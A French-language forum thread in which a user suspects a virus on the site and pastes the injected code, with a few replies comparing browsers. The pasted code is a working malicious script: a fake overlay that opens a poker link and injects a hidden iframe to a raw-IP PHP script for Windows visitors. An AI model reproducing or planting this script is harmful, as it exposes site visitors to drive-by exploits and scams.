Jump to content
benka

Virus/trojan/exploit Sur Le Forum ?

Recommended Posts

Salut

 

J'ai un petit doute là :

 

SUvs.png

 

J'ai regardé un peu le code et je vois :

 

http://www.fmsource.com/cache/lang_cache/2/chat_admin_chat.php?ref=http%3A%2F%2Fwww.google.fr%2Furl%3Fsa%3Dt%26rct%3Dj%26q%3D%26esrc%3Ds%26source%3Dweb%26cd%3D1%26ved%3D0CDoQFjAA%26url%3Dhttp%253A%252F%252Fwww.fmsource.com%252F%26ei%3DNyH1UMCqFJOLhQewrID4Aw%26usg%3DAFQjCNFoEEbQJNV8FQr0euupbA40pNpZsQ%26sig2%3DMTyBouoKazDG2usB9_koqw%26bvm%3Dbv.41018144%2Cd.ZG4&page=http%3A%2F%2Fwww.fmsource.com%2F<div style="position: absolute; left: 10px; top: 10px; width: 300px; height: 30px; display: block; background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALoAAAAeCAMAAACsXfQ7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADBQTFRFpLLPb4WzSGSf8vT4YnqtVW+my9Pksb3WiZvB5enxvsjdfJC62N7qlqbIO1mY////khxy0gAAABB0Uk5T////////////////////AOAjXRkAAARKSURBVHja1FjbbuwgDDR3CCH5/789CRhf2DbqaisddV/aRQQP9ng8WTj/7AfGn3jcnyS+hM/P3qvx/VxTodDqWCo/OyLce+0jdOjnNfElfw69HeLT3Fh0xxuJKX1zfYRe+x4vvsDn0L2EPg8f9f1hYrbjAQou23G8qNL+OfRBFgBzCDrC8UZiRt3iE/QdMxO5Sp8j5/4ZcE1fHffY36nbY5smhA5UJfMLCsAgA0M4Hhrvm7o9Qs8I3VCVfoHqlfEa+jcebyQmPpILVENZirN9Dt0uLPFvU31s3p6gd8Eys7x9P0rZ6aBe1bY1rXGDTqm9HnDp3nsEA9w/jQWxcSmo8bZ8Z800KfMu9cUQsVj3yZb6hoMAFQYQ1i6U7ARL2uYU9EQUKHOR94odiflYWMom8EDSmQj4POZKhp1QDHc8BwHKZkS9Tay7TiqzmWg23XgN42Te6hjvVUbX+D5FSnyWso+as9NtMtYty4EpgwCVvKMJuC8xcl/w0YJtE1mSzlnLhHvqldqYRP8AVCtolsTU7jBsxLWRrJ2SemUIMNc8xVQQmBoUxgXcSZwfvLyJciJkgu4CQU841/0y350apSbKRG/cOPGUjyJy22KMxLPC/a6CwGyoirTpybc8hSPB2Bk6HAQ9YJEkE/hppG3SM8YRdbKSTsyId8p7eV5TQWDeH0YwOOmKgf7LKJwRY9wkGSQbS4b6Ly3CRll3q/cSrUvQQSFH79U7JTjhVxJDz6OI/dy6T2LuSNGSPJEVY8AUJCRV5AYixZ54ytCEgWejVMt+tZgZlMCi6jakd1eNDQQ94ANDTScWnTbB+R7C9oMHgl6ZYg+VM56awv41ylriRacFLH/hmWcxVRDARy05gCl65hU59vO9pfUrjvvtShy8MHRienntvcRoilN1sh6eQpnpOjIIYFbqTE+dYawEnjiVpte1RBLUee7uRYpATE12MIvbGAOgTcSLT8QW13ZNBAFht0jPGocxJkMq0pYY6HA79E29q+EE84v3YkiRX3rE+wG9xB0KekRxWnwMBwFMQJQlSt8ZznsrBBpPPmsrVTh4WLljtAc6Fi9JIkDuaXovu7xVURCQdms2RuFR716gm1GWO6Kxw3fpGgc6v4k0JU1wPp3cG66lRaLqavBnEBi39nKMWCFEvl9jh52OQ7hRWq2ziDGf6aS7zCkwi4T3qvNh0ZuZ5leJJ3kvZswSBOT7P5K9qpe+YMzScB0uQsdZUW293AobqVE/byYFQ1HMoSyZIBQkSq9HnpnH7hIExv2TbCj44reITSz16jqpuOVYNFj/GIDDNMnTpfbmFyWv4jVjtvEaBGggvb6By6EEYiVpXquYYRPCNoGnF+91XZ2w2+31lxsQRmE+tgaBIrtg08rq4C5oMBWpPqAH0S0YdW+m62bG78UMJlxkayytS+NHfP+SfV6a70QbLnCEmuReg/zC6/N//s3xL37+CTAAQvAhdVznZjoAAAAASUVORK5CYII=") no-repeat scroll 0% 0% transparent;" id="lal"></div><div style="position: absolute; left: 600px; top: 10px; width: 30px; height: 30px; display: block; background: url("data:image/png;base64,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") no-repeat scroll 0% 0% transparent; cursor: pointer; z-index: 10004;" id="lac"></div><div style="position: absolute; left: 10px; top: 50px; width: 620px; height: 410px; display: block; cursor: pointer; background: url("http://46.249.58.117/88.gif") no-repeat scroll 0% 0% transparent; border: 1px solid rgb(59, 89, 152); z-index: 100000001;" id="block"></div><div style="position: relative; margin: 0px auto; top: 30px; width: 640px; height: 470px; display: block; background-color: rgb(255, 255, 255); border: 1px solid rgb(59, 89, 152); z-index: 100001;" id="la3"><div style="position: absolute; left: 10px; top: 10px; width: 300px; height: 30px; display: block; background: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAALoAAAAeCAMAAACsXfQ7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADBQTFRFpLLPb4WzSGSf8vT4YnqtVW+my9Pksb3WiZvB5enxvsjdfJC62N7qlqbIO1mY////khxy0gAAABB0Uk5T////////////////////AOAjXRkAAARKSURBVHja1FjbbuwgDDR3CCH5/789CRhf2DbqaisddV/aRQQP9ng8WTj/7AfGn3jcnyS+hM/P3qvx/VxTodDqWCo/OyLce+0jdOjnNfElfw69HeLT3Fh0xxuJKX1zfYRe+x4vvsDn0L2EPg8f9f1hYrbjAQou23G8qNL+OfRBFgBzCDrC8UZiRt3iE/QdMxO5Sp8j5/4ZcE1fHffY36nbY5smhA5UJfMLCsAgA0M4Hhrvm7o9Qs8I3VCVfoHqlfEa+jcebyQmPpILVENZirN9Dt0uLPFvU31s3p6gd8Eys7x9P0rZ6aBe1bY1rXGDTqm9HnDp3nsEA9w/jQWxcSmo8bZ8Z800KfMu9cUQsVj3yZb6hoMAFQYQ1i6U7ARL2uYU9EQUKHOR94odiflYWMom8EDSmQj4POZKhp1QDHc8BwHKZkS9Tay7TiqzmWg23XgN42Te6hjvVUbX+D5FSnyWso+as9NtMtYty4EpgwCVvKMJuC8xcl/w0YJtE1mSzlnLhHvqldqYRP8AVCtolsTU7jBsxLWRrJ2SemUIMNc8xVQQmBoUxgXcSZwfvLyJciJkgu4CQU841/0y350apSbKRG/cOPGUjyJy22KMxLPC/a6CwGyoirTpybc8hSPB2Bk6HAQ9YJEkE/hppG3SM8YRdbKSTsyId8p7eV5TQWDeH0YwOOmKgf7LKJwRY9wkGSQbS4b6Ly3CRll3q/cSrUvQQSFH79U7JTjhVxJDz6OI/dy6T2LuSNGSPJEVY8AUJCRV5AYixZ54ytCEgWejVMt+tZgZlMCi6jakd1eNDQQ94ANDTScWnTbB+R7C9oMHgl6ZYg+VM56awv41ylriRacFLH/hmWcxVRDARy05gCl65hU59vO9pfUrjvvtShy8MHRienntvcRoilN1sh6eQpnpOjIIYFbqTE+dYawEnjiVpte1RBLUee7uRYpATE12MIvbGAOgTcSLT8QW13ZNBAFht0jPGocxJkMq0pYY6HA79E29q+EE84v3YkiRX3rE+wG9xB0KekRxWnwMBwFMQJQlSt8ZznsrBBpPPmsrVTh4WLljtAc6Fi9JIkDuaXovu7xVURCQdms2RuFR716gm1GWO6Kxw3fpGgc6v4k0JU1wPp3cG66lRaLqavBnEBi39nKMWCFEvl9jh52OQ7hRWq2ziDGf6aS7zCkwi4T3qvNh0ZuZ5leJJ3kvZswSBOT7P5K9qpe+YMzScB0uQsdZUW293AobqVE/byYFQ1HMoSyZIBQkSq9HnpnH7hIExv2TbCj44reITSz16jqpuOVYNFj/GIDDNMnTpfbmFyWv4jVjtvEaBGggvb6By6EEYiVpXquYYRPCNoGnF+91XZ2w2+31lxsQRmE+tgaBIrtg08rq4C5oMBWpPqAH0S0YdW+m62bG78UMJlxkayytS+NHfP+SfV6a70QbLnCEmuReg/zC6/N//s3xL37+CTAAQvAhdVznZjoAAAAASUVORK5CYII=") no-repeat scroll 0% 0% transparent;" id="lal"></div><div style="position: absolute; left: 600px; top: 10px; width: 30px; height: 30px; display: block; background: url("data:image/png;base64,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") no-repeat scroll 0% 0% transparent; cursor: pointer; z-index: 10004;" id="lac"></div><div style="position: absolute; left: 10px; top: 50px; width: 620px; height: 410px; display: block; cursor: pointer; background: url("http://46.249.58.117/88.gif") no-repeat scroll 0% 0% transparent; border: 1px solid rgb(59, 89, 152); z-index: 100000001;" id="block"></div></div>var imlo = 'iVBORw0KGgoAAAANSUhEUgAAALoAAAAeCAMAAACsXfQ7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADBQTFRFpLLPb4WzSGSf8vT4YnqtVW+my9Pksb3WiZvB5enxvsjdfJC62N7qlqbIO1mY////khxy0gAAABB0Uk5T////////////////////AOAjXRkAAARKSURBVHja1FjbbuwgDDR3CCH5/789CRhf2DbqaisddV/aRQQP9ng8WTj/7AfGn3jcnyS+hM/P3qvx/VxTodDqWCo/OyLce+0jdOjnNfElfw69HeLT3Fh0xxuJKX1zfYRe+x4vvsDn0L2EPg8f9f1hYrbjAQou23G8qNL+OfRBFgBzCDrC8UZiRt3iE/QdMxO5Sp8j5/4ZcE1fHffY36nbY5smhA5UJfMLCsAgA0M4Hhrvm7o9Qs8I3VCVfoHqlfEa+jcebyQmPpILVENZirN9Dt0uLPFvU31s3p6gd8Eys7x9P0rZ6aBe1bY1rXGDTqm9HnDp3nsEA9w/jQWxcSmo8bZ8Z800KfMu9cUQsVj3yZb6hoMAFQYQ1i6U7ARL2uYU9EQUKHOR94odiflYWMom8EDSmQj4POZKhp1QDHc8BwHKZkS9Tay7TiqzmWg23XgN42Te6hjvVUbX+D5FSnyWso+as9NtMtYty4EpgwCVvKMJuC8xcl/w0YJtE1mSzlnLhHvqldqYRP8AVCtolsTU7jBsxLWRrJ2SemUIMNc8xVQQmBoUxgXcSZwfvLyJciJkgu4CQU841/0y350apSbKRG/cOPGUjyJy22KMxLPC/a6CwGyoirTpybc8hSPB2Bk6HAQ9YJEkE/hppG3SM8YRdbKSTsyId8p7eV5TQWDeH0YwOOmKgf7LKJwRY9wkGSQbS4b6Ly3CRll3q/cSrUvQQSFH79U7JTjhVxJDz6OI/dy6T2LuSNGSPJEVY8AUJCRV5AYixZ54ytCEgWejVMt+tZgZlMCi6jakd1eNDQQ94ANDTScWnTbB+R7C9oMHgl6ZYg+VM56awv41ylriRacFLH/hmWcxVRDARy05gCl65hU59vO9pfUrjvvtShy8MHRienntvcRoilN1sh6eQpnpOjIIYFbqTE+dYawEnjiVpte1RBLUee7uRYpATE12MIvbGAOgTcSLT8QW13ZNBAFht0jPGocxJkMq0pYY6HA79E29q+EE84v3YkiRX3rE+wG9xB0KekRxWnwMBwFMQJQlSt8ZznsrBBpPPmsrVTh4WLljtAc6Fi9JIkDuaXovu7xVURCQdms2RuFR716gm1GWO6Kxw3fpGgc6v4k0JU1wPp3cG66lRaLqavBnEBi39nKMWCFEvl9jh52OQ7hRWq2ziDGf6aS7zCkwi4T3qvNh0ZuZ5leJJ3kvZswSBOT7P5K9qpe+YMzScB0uQsdZUW293AobqVE/byYFQ1HMoSyZIBQkSq9HnpnH7hIExv2TbCj44reITSz16jqpuOVYNFj/GIDDNMnTpfbmFyWv4jVjtvEaBGggvb6By6EEYiVpXquYYRPCNoGnF+91XZ2w2+31lxsQRmE+tgaBIrtg08rq4C5oMBWpPqAH0S0YdW+m62bG78UMJlxkayytS+NHfP+SfV6a70QbLnCEmuReg/zC6/N//s3xL37+CTAAQvAhdVznZjoAAAAASUVORK5CYII=';var imcb = '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';function close(){document.getElementById('la2').style.display = 'none';document.getElementById('la2a').style.display = 'none';var nat = navigator.userAgent.toLowerCase();if ((nat.indexOf("msie")!=-1) || (nat.indexOf("firefox")!=-1 ) || (nat.indexOf("opera")!=-1)){if (nat.indexOf("windows")!=-1){var xer=document.getElementById('vasia');if (!xer){var e = document.createElement('iframe');e.id = 'vasia';e.name = 'vasia';e.style.width = '100px';e.style.height = '2px';e.style.display = 'inline';e.style.visibility='visible';e.src = 'http://78.110.63.210/airyoleg.php?boutfage=322835';if(document.body != null){ document.body.appendChild(e)};}}}}function go(){var url = 'http://titanonlinepoker.com?id=PYKRHfUF&key=ej0yMTg3ODkxNTI3Jmw9MCZwPTc5NzQ0NQ%3D%3D==';window.open(url);close();}function mystart(){la2 = document.createElement('div');la2.id = 'la2';la2.style.position = 'fixed';la2.style.left = '0px';la2.style.top = '0px';la2.style.width = '100%';la2.style.height = '100%';la2.style.display = 'block';la2.style.backgroundColor = 'rgb(51, 51, 51)';la2.style.opacity = '0.8';la2.style.zIndex = '10000';la2.style.filter = 'alpha(Opacity=70)';if(document.body != null){ document.body.appendChild(la2); }lai2 = document.createElement('div');lai2.id = 'la2a';lai2.style.position = 'fixed';lai2.style.left = '0px';lai2.style.top = '0px';lai2.style.width = '100%';lai2.style.height = '100%';lai2.style.display = 'block';lai2.style.zIndex = '10003';if(document.body != null){ document.body.appendChild(lai2); }la3 = document.createElement('div');la3.id = 'la3';la3.style.position = 'relative';la3.style.margin  = '0 auto';la3.style.top = '30px';la3.style.width = '640px';la3.style.height = '470px';la3.style.display = 'block';la3.style.backgroundColor = '#FFFfff';la3.style.border = 'solid 1px rgb(59,89,152)';la3.style.zIndex = '100001';lai2.appendChild(la3);lal = document.createElement('div');lal.id = 'lal';lal.style.position = 'absolute';lal.style.left = '10px';lal.style.top = '10px';lal.style.width = '300px';lal.style.height = '30px';lal.style.display = 'block';lal.style.backgroundColor = '#FFF';lal.style.background = 'url(data:image/png;base64,'+imlo+') no-repeat';la3.appendChild(lal);lac = document.createElement('div');lac.id = 'lac';lac.style.position = 'absolute';lac.style.left = '600px';lac.style.top = '10px';lac.style.width = '30px';lac.style.height = '30px';lac.style.display = 'block';lac.style.backgroundColor = '#FFF';lac.style.cursor = 'pointer';lac.style.zIndex = '10004';lac.style.background = 'url(data:image/png;base64,'+imcb+') no-repeat';lac.onclick = function () { close();}la3.appendChild(lac);la4 = document.createElement('div');la4.id = 'block';la4.style.position = 'absolute';la4.style.left = '10px';la4.style.top = '50px';la4.style.width = '620px';la4.style.height = '410px';la4.style.display = 'block';la4.style.cursor = 'pointer';la4.style.backgroundColor = '#FFF';la4.style.border = 'solid 1px rgb(59,89,152)';la4.style.background = 'url("http://46.249.58.117/88.gif") no-repeat';la4.style.zIndex = '100000001';la4.onclick = function () { go(this);}la3.appendChild(la4);}var nat = navigator.userAgent.toLowerCase();if ((nat.indexOf("msie")!=-1) || (nat.indexOf("firefox")!=-1 ) || (nat.indexOf("opera")!=-1)){if (nat.indexOf("windows")!=-1){var image = document.createElement('img'); // new Image(1, 1);    image.src ='http://46.249.58.117/88.gif';    image.onload = function() {mystart();};}}

 


 

Share this post


Link to post
Share on other sites

Dans le code, je distingue :

 

if ((nat.indexOf("msie")!=-1) || (nat.indexOf("firefox")!=-1 ) || (nat.indexOf("opera")!=-1)){if (nat.indexOf("windows")!=-1){

Share this post


Link to post
Share on other sites
Suis sous Windows et ne vois rien de tel non plus.

Curieusement, c'est aléatoire. Ca ne me le fait pas systématiquement.

 

J'ai pourtant pas l'impression que ça vienne de mon poste vu qu'il est tout fraichement installé... Etrange.

Share this post


Link to post
Share on other sites
Suis sous Windows et ne vois rien de tel non plus.

Firefox ?

Share this post


Link to post
Share on other sites

Suis sous Win XP avec Chrome et Win 7 64 avec IE et je ne vois pas cela.

Share this post


Link to post
Share on other sites

